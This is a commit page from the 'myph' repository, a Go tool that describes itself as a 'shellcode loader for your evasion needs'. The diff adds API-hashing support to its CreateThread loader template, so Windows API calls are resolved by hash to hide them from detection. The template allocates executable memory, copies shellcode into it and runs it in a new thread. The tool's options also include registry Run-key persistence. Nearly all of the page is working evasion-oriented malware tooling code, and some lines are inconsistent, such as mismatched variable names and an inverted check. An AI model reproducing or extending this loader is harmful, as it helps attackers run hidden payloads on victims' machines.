myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit d10b235a4f224608f28dc72223bb825d49c182b0
parent 24f268438f7c0ad5db0a5210ae0ba8a2ddc8cb0c
Author: djnn <[email protected]>
Date: Wed, 10 Jan 2024 20:36:27 +0100

feat(cli): adding hashed api calls to new methods (#15)

Diffstat:
Mcli/parser.go | 2+-
Minternals/defines.go | 14++++++++++++++
Minternals/runtime.go | 2+-
Mloaders/createThread.go | 122+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
Mloaders/ntCreateThreadEx.go | 8++++----
Mloaders/syscall.go | 6+++---
Mloaders/utils.go | 20+++++++++++++++-----

7 files changed, 152 insertions(+), 22 deletions(-)

diff --git a/cli/parser.go b/cli/parser.go
@@ -331,7 +331,7 @@ func GetParser(opts *Options) *cobra.Command {
 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
 	rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols")
 	rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing")
-    // TODO(djnn): re-add this flag once supported
+	// TODO(djnn): re-add this flag once supported
 	// rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
 	rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
 
diff --git a/internals/defines.go b/internals/defines.go
@@ -77,4 +77,18 @@ var Ntdll = []ItemHash{
 		Sha512: "f07fcea516c70bda3cb17f3010d2d03ea426a79e4ca181668728ce02a93c39673d8e38de51f68574034f3dfa87eb5f98d3e279015673194b5bee86fa2eb8ac12",
 		Djb2:   "9ca2ab4726e0ba31",
 	},
+	{
+		Name:   "CreateThread",
+		Sha1:   "2a953ace6c3950520c4153060e35679648967981",
+		Sha256: "0fe39db340c2fe54c68e77ff65754d08137aae006286e8b8e5f20cc5451e9f22",
+		Sha512: "855848ae8b96ad61d7288ac5eb42f54069dcb242201bc3b3df7a21b8f4e4fd70324e7a514ec710a75b7b1cc3a219da75cb49cd6a99e33172e41ed80b35c9e348",
+		Djb2:   "65dd5ebc0ad0132a",
+	},
+	{
+		Name:   "WaitForSingleObject",
+		Sha1:   "681e778499375c2fb42da094ca5119ae773c189b",
+		Sha256: "6a98c5468e3cd5c8fec2ed81dcfb6c653bfe56289debe0e1089c92dc8eff744f",
+		Sha512: "a06ee8da37a43a240267a122a8ea85fbf9e0b403e140e13ea3504bff2004e1902df4542e5d5b821439ab73633d2405cf8c1c4ccdef288c26e8ecfa07be49cae8",
+		Djb2:   "aabf4c35522cfc3e",
+	},
 }
diff --git a/internals/runtime.go b/internals/runtime.go
@@ -29,7 +29,7 @@ func rva2offset(pe *pe.File, rva uint32) uint32 {
 	return rva
 }
 
-func HashedSyscall(callid uint16, argh ...uintptr) uintptr {
+func HashedCall(callid uint16, argh ...uintptr) uintptr {
 	rvalue := runSyscall(callid, argh...)
 	return uintptr(rvalue)
 }
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -5,9 +5,27 @@ import (
 	"strings"
 )
 
-type CreateTTemplate struct{}
+type CreateTTemplate struct {
+	UseApiHashing bool
+	HashMethod    string
+}
 
 func (t CreateTTemplate) Import() string {
+	if t.UseApiHashing {
+		return fmt.Sprintf(`
+import (
+	"fmt"
+	"log"
+	"os"
+	"syscall"
+	"unsafe"
+
+	"github.com/Binject/debug/pe"
+	loader "github.com/cmepw/myph/internals"
+)
+        `)
+	}
+
 	return fmt.Sprintf(`
 import (
 	"syscall"
@@ -24,6 +42,17 @@ const (
 	PAGE_EXECUTE_READWRITE = 0x40
 )
 
+
+`)
+}
+
+func (t CreateTTemplate) Init() string {
+
+	if t.UseApiHashing {
+		return fmt.Sprintf("\n")
+	}
+
+	return fmt.Sprintf(`
 var (
 	kernel32        = syscall.MustLoadDLL("kernel32.dll")
 	ntdll           = syscall.MustLoadDLL("ntdll.dll")
@@ -34,14 +63,91 @@ var (
 
     RtlCopyMemory   = ntdll.MustFindProc("RtlCopyMemory")
 )
-`)
-}
-
-func (t CreateTTemplate) Init() string {
-	return fmt.Sprintf(``)
+    `)
 }
 
 func (t CreateTTemplate) Process() string {
+	if t.UseApiHashing {
+
+		return fmt.Sprintf(`
+    ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer ntdll.Close()
+
+
+    kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer kernel32.Close()
+
+
+    var addr uintptr
+	regionsize := uintptr(len(shellcode))
+    VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+    addr = loader.HashedCall(
+        VirtualAlloc,
+        0,
+        regionSize,
+        MEM_COMMIT|MEM_RESERVE,
+        PAGE_EXECUTE_READWRITE,
+    )
+
+    if addr == 0 {
+        log.Fatal("Error: null return value")
+    }
+
+    RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue := loader.HashedCall(
+        RtlCopyMemory,
+        addr,
+        (uintptr)(unsafe.Pointer(&shellcode[0])),
+        regionsize,
+    ); if addr != 0 {
+        log.Fatal("Error: invalid return value")
+    }
+
+    CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    threadAddr := loader.HashedCall(
+        CreateThread,
+        0,
+		0,
+		addr,
+		0,
+		0,
+		0,
+    )
+
+    WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32)
+    if err != nil {
+		log.Fatal(err)
+    }
+
+
+    loader.HashedCall(
+        WaitForSingleObject,
+        threadAddr,
+        0xFFFFFFFF,
+    )
+
+        `)
+
+	}
+
 	return fmt.Sprintf(`
 	addr, _, _ := VirtualAlloc.Call(
 		0,
@@ -83,10 +189,10 @@ __CONST__STATEMENT__
 
 func ExecuteOrderSixtySix(shellcode []byte) {
 
-__IMPORT__INIT__	
+__IMPORT__INIT__
 
 __IMPORT__PROCESS__
-	
+
 }
     `
 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
diff --git a/loaders/ntCreateThreadEx.go b/loaders/ntCreateThreadEx.go
@@ -81,7 +81,7 @@ func (t NtCreateThreadExTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    rvalue := loader.HashedSyscall(
+    rvalue := loader.HashedCall(
 		NtAllocateVirtualMemory,
 		uintptr(0xffffffffffffffff),
 		uintptr(unsafe.Pointer(&addr)),
@@ -101,7 +101,7 @@ func (t NtCreateThreadExTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    rvalue = loader.HashedSyscall(
+    rvalue = loader.HashedCall(
         NtWriteVirtualMemory,
 		uintptr(0xffffffffffffffff),
 		addr,
@@ -121,7 +121,7 @@ func (t NtCreateThreadExTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    rvalue = loader.HashedSyscall(
+    rvalue = loader.HashedCall(
         NtProtectVirtualMemory,
 		uintptr(0xffffffffffffffff),
 		uintptr(unsafe.Pointer(&addr)),
@@ -142,7 +142,7 @@ func (t NtCreateThreadExTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    rvalue =  loader.HashedSyscall(
+    rvalue =  loader.HashedCall(
         NtCreateThreadEx,
 		uintptr(unsafe.Pointer(&hhosthread)),
 		0x1FFFFF,
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -89,7 +89,7 @@ func (t SysTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    addr = loader.HashedSyscall(
+    addr = loader.HashedCall(
         VirtualAlloc,
         0,
         regionSize,
@@ -106,7 +106,7 @@ func (t SysTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    rvalue := loader.HashedSyscall(
+    rvalue := loader.HashedCall(
         RtlCopyMemory,
         addr,
         (uintptr)(unsafe.Pointer(&shellcode[0])),
@@ -121,7 +121,7 @@ func (t SysTemplate) Process() string {
 		log.Fatal(err)
 	}
 
-    rvalue := loader.HashedSyscall(
+    rvalue := loader.HashedCall(
         VirtualProtect,
         addr,
         regionsize,
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,7 +1,9 @@
 package loaders
 
 func InformExpermimental() {
-    println("[!] The API hashing feature is still in an an experimental stage!!")
+	println("[!] The API hashing feature is still in an an experimental stage!!")
+	println("Only a few methods are supported for now:")
+	println("\t-Syscall\n\t-CreateThread\n\t-tNtCreateThreadEx\n")
 }
 
 func InformProcessUnused(process string) {
@@ -10,6 +12,14 @@ func InformProcessUnused(process string) {
 	println("[!] PLEASE NOTE:\n\tshellcode will not be injected into new process with this method.")
 }
 
+func DownloadMyphInternals(path string) error {
+
+	println("[!] While internals module is not published, we will manually copy it.")
+	println("Please ensure (temporarily) that you use myph from its root repository.")
+
+	return nil
+}
+
 type Templater interface {
 	Init() string
 	Import() string
@@ -25,7 +35,7 @@ func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique st
 		"Syscall":           SysTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
 		"CRT":               CRTTemplate{},
 		"CRTx":              CRTxTemplate{},
-		"CreateThread":      CreateTTemplate{},
+		"CreateThread":      CreateTTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
 		"ProcessHollowing":  ProcHollowTemplate{},
 		"EnumCalendarInfoA": EnumCalendarTemplate{},
 		"CreateFiber":       CreateFiberTemplate{},
@@ -33,9 +43,9 @@ func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique st
 		"NtCreateThreadEx":  NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
 	}
 
-    if useApiHashing {
-        InformExpermimental()
-    }
+	if useApiHashing {
+		InformExpermimental()
+	}
 
 	template, exist := methodes[templateName]
 	if exist {